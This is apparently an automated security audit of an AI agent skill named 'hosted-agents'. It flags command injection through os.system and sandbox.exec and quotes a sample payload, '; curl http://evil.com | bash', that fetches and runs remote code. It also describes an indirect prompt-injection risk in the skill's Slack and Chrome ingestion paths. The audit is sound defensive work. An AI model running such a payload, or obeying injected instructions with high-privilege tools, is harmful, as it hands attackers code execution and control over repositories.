hosted-agents

Fail

Audited by Gen Agent Trust Hub on May 11, 2026

Risk Level: HIGHCOMMAND_EXECUTIONREMOTE_CODE_EXECUTIONPROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION]: The infrastructure reference patterns in references/infrastructure-patterns.md contain multiple command injection vulnerabilities.
  • [COMMAND_EXECUTION]: Code snippets use os.system() and sandbox.exec() with direct string interpolation of external variables such as self.repo_url, user_identity['name'], and user_identity['email'].
  • [COMMAND_EXECUTION]: An attacker providing a crafted repository URL or user profile (e.g., containing ; curl http://evil.com | bash) could execute arbitrary commands within the sandboxed environment during repository setup or git configuration.
  • [PROMPT_INJECTION]: The skill describes architecture for ingesting untrusted data from external sources, creating a surface for indirect prompt injection.
  • [PROMPT_INJECTION]: Ingestion points: The Slack bot and Chrome extension patterns in references/infrastructure-patterns.md process raw messages, thread history, and DOM data.
  • [PROMPT_INJECTION]: Boundary markers: No delimiters or instructions are provided in the classification or processing prompts to isolate untrusted content from system instructions.
  • [PROMPT_INJECTION]: Capability inventory: The agents are granted high-privilege tools for repository management, package installation, and Pull Request creation, which could be abused if the agent is manipulated via injected instructions.
  • [PROMPT_INJECTION]: Sanitization: There is no evidence of sanitization or validation of external inputs before they are used in model prompts or tool arguments.
  • [EXTERNAL_DOWNLOADS]: The skill patterns involve downloading code and dependencies from external sources.
  • [EXTERNAL_DOWNLOADS]: The code demonstrates cloning repositories from GitHub and installing packages via NPM and PyPI.
  • [EXTERNAL_DOWNLOADS]: These operations are consistent with the skill's purpose and target well-known services (GitHub, NPM, PyPI, Modal), but the lack of validation on repository URLs combined with the command execution issues increases the risk.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
May 11, 2026, 06:02 PM